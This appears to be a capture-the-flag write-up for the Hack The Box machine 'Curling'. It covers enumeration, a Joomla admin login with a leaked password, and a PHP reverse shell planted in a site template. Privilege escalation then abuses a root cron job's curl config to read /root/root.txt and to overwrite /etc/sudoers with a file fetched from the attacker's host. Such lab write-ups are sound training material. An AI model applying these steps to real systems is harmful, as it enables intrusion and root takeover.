Curling

30/03/2019

Curling is an easy and interesting box where to obtain a shell we'll have to play with some Joomla! configuration and to elevate privileges we'll have to understand how some curl advanced options work.


User

Run nmap listing versions and executing default scripts. We only see port 22 and 80 are open.

root@kali:~/htb/curling# nmap -sC -sV 10.10.10.150
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-19 11:19 UTC
Nmap scan report for 10.10.10.150
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On the Apache server we have the following blog.

If we run wfuzz against this site using common.txt wordlist, adding php, html and txt extensions and hidding 404 and 403 response codes we get the following output.

root@kali:~/htb/curling# wfuzz -c -w /usr/share/dirb/wordlists/common.txt -z list,-.php-.html-.txt --hc 404,403 http://10.10.10.150/FUZZFUZ2Z

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.150/FUZZFUZ2Z
Total requests: 18456

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000001:  C=200    361 L	    1051 W	  14240 Ch	  " - "
001273:  C=301      9 L	      28 W	    320 Ch	  "administrator - "
002509:  C=301      9 L	      28 W	    310 Ch	  "bin - "
002917:  C=301      9 L	      28 W	    312 Ch	  "cache - "
003909:  C=301      9 L	      28 W	    317 Ch	  "components - "
003986:  C=200      0 L	       0 W	      0 Ch	  "configuration - .php"
007961:  C=301      9 L	      28 W	    313 Ch	  "images - "
008049:  C=301      9 L	      28 W	    315 Ch	  "includes - "
008066:  C=200    361 L	    1051 W	  14261 Ch	  "index - .php"
008081:  C=200    361 L	    1051 W	  14261 Ch	  "index.php - "
008941:  C=301      9 L	      28 W	    315 Ch	  "language - "
009013:  C=301      9 L	      28 W	    314 Ch	  "layouts - "
009101:  C=301      9 L	      28 W	    316 Ch	  "libraries - "
009128:  C=200    339 L	    2968 W	  18092 Ch	  "LICENSE - .txt"
009889:  C=301      9 L	      28 W	    312 Ch	  "media - "
010265:  C=301      9 L	      28 W	    314 Ch	  "modules - "
012009:  C=301      9 L	      28 W	    314 Ch	  "plugins - "
013180:  C=200     72 L	     540 W	   4872 Ch	  "README - .txt"
014148:  C=200      1 L	       1 W	     17 Ch	  "secret - .txt"
015977:  C=301      9 L	      28 W	    316 Ch	  "templates - "
016273:  C=301      9 L	      28 W	    310 Ch	  "tmp - "
017460:  C=200     31 L	      90 W	   1690 Ch	  "web.config - .txt"

Total time: 168.9697
Processed Requests: 18456
Filtered Requests: 18434
Requests/sec.: 109.2266

Some interesting pages we have found are the Joomla! login panel on /administrator.

And a strange text on /secret.txt.

If we decode that string with base64 we get what it seems to be a password.

root@kali:~/htb/curling# echo Q3VybGluZzIwMTgh | base64 -d
Curling2018!

Reading one of the articles on the blog we can find a user named Floris.

We can use floris / Curling2018! to log in to Joomla!.

On this admin panel we have plenty of options and I'm sure there's more than one way to get a shell.

What I did was edit one of the templates used by the site in Extensions -> Templates -> Templates and add a custom php shell (I used this one). Access to the page and we get a reverse shell as www-data.

root@kali:~/htb/curling# nc -nlvp 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.150.
Ncat: Connection from 10.10.10.150:59764.
Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 12:26:57 up  2:42,  4 users,  load average: 0.08, 0.10, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
floris   pts/0    10.10.13.229     09:44   30:11   0.55s  0.55s -bash
floris   pts/3    10.10.17.66      11:55   17.00s  0.30s  0.13s script
floris   pts/4    10.10.18.45      11:31    0.00s  0.61s  0.61s -bash
floris   pts/9    10.10.15.47      12:08    4.00s  0.35s  0.09s lsof -r 1 +D /home/floris/admin-area
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

We have the user flag on floris folder but we don't have the right permissions to read it.

$ ls -la /home/floris
total 48
drwxr-xr-x 7 floris floris 4096 Feb  4 11:12 .
drwxr-xr-x 3 root   root   4096 May 22  2018 ..
lrwxrwxrwx 1 root   root      9 May 22  2018 .bash_history -> /dev/null
-rw-r--r-- 1 floris floris  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 floris floris 3771 Apr  4  2018 .bashrc
drwx------ 2 floris floris 4096 May 22  2018 .cache
drwx------ 3 floris floris 4096 Feb  4 10:46 .config
drwx------ 3 floris floris 4096 May 22  2018 .gnupg
drwxrwxr-x 3 floris floris 4096 May 22  2018 .local
-rw-r--r-- 1 floris floris  807 Apr  4  2018 .profile
drwxr-x--- 2 root   floris 4096 May 22  2018 admin-area
-rw-r--r-- 1 floris floris 1076 May 22  2018 password_backup
-rw-r----- 1 floris floris   33 May 22  2018 user.txt

But we do have permissions to read password_backup file.

$ cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H

This is the hex content of some file. Use xxd to build it again to get a bzip2 package.

root@kali:~/htb/curling# xxd -r password_backup > what
root@kali:~/htb/curling# file what 
what: bzip2 compressed data, block size = 900k

Inside we have a gzip, which has another bzip2 inside, which has a tar inside, which finally has a password.txt in it.

root@kali:~/htb/curling# bzip2 -d what
bzip2: Can't guess original name for what -- using what.out
root@kali:~/htb/curling# file what.out 
what.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size 141
root@kali:~/htb/curling# gzip -d what.out
gzip: what.out: unknown suffix -- ignored
root@kali:~/htb/curling# mv what.out what.gz
root@kali:~/htb/curling# gzip -d what.gz 
root@kali:~/htb/curling# file what 
what: bzip2 compressed data, block size = 900k
root@kali:~/htb/curling# bzip2 -d what
bzip2: Can't guess original name for what -- using what.out
root@kali:~/htb/curling# file what.out 
what.out: POSIX tar archive (GNU)
root@kali:~/htb/curling# tar -xvf what.out
password.txt
root@kali:~/htb/curling# cat password.txt 
5d<wdCbdZu)|hChXll

We can use the obtained password to access as floris through ssh.

ssh floris@10.10.10.150
Password: 5d<wdCbdZu)|hChXll
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Feb  4 11:28:24 UTC 2019

  System load:  0.32              Processes:            203
  Usage of /:   46.4% of 9.78GB   Users logged in:      1
  Memory usage: 27%               IP address for ens33: 10.10.10.150
  Swap usage:   0%


0 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Feb  4 11:24:50 2019 from 10.10.13.141
floris@curling:~$ 

Now we can read the user flag.

floris@curling:~$ cat user.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Privilege Escalation

If we run pspy to monitor processes on the machine we can find the following curl(Curling) is being executed every few seconds as root.

floris@curling:/tmp$ ./pspy64s
...
2019/02/04 11:40:01 CMD: UID=0    PID=4296   | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report

As curl help mentions, the -K flag is to read the configuration from a file and -o to write output to file.

root@kali:~/htb/curling# curl -h
...
-K, --config <file> Read config from a file
-o, --output <file> Write to file instead of stdout
...

We can edit that input file to play with curl configuration.

floris@curling:~/admin-area$ ls -la
total 16
drwxr-x--- 2 root   floris 4096 May 22  2018 .
drwxr-xr-x 6 floris floris 4096 Feb  4 15:47 ..
-rw-rw---- 1 root   floris   25 Feb  4 15:48 input
-rw-rw---- 1 root   floris   92 Feb  4 15:47 report

The easy way to get the flag would be to make the curl process read from a file (/root/root.txt in our case) instead of a URL and the output would be written in report which we can read.

floris@curling:~/admin-area$ echo 'url = "file:///root/root.txt"' > input
floris@curling:~/admin-area$ cat report 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

But instead of doing that we are going to get a full shell changing the sudo configuration.

To do that, create the following configuration file in our local machine which is going to be replaced in Curling. This will allow floris to execute everything as root.

root@kali:~/htb/curling# cat my-sudoers 
root	ALL=(ALL:ALL) ALL
floris	ALL=(ALL:ALL) ALL

Change the curl configuration to read the modified config from our machine and output it on /etc/sudoers.

floris@curling:~/admin-area$ echo -e 'url = "http://10.10.16.35/my-sudoers"\noutput = "/etc/sudoers"' > input

Once we have the GET request we will know the config has been replaced.

root@kali:~/htb/curling# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.150 - - [04/Feb/2019 12:08:01] "GET /my-sudoers HTTP/1.1" 200 -

Now we can run sudo su to change to root.

floris@curling:~/admin-area$ sudo su
[sudo] password for floris: 5d<wdCbdZu)|hChXll
root@curling:/home/floris/admin-area#

Now we can read root's flag.

root@curling:/home/floris/admin-area# cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX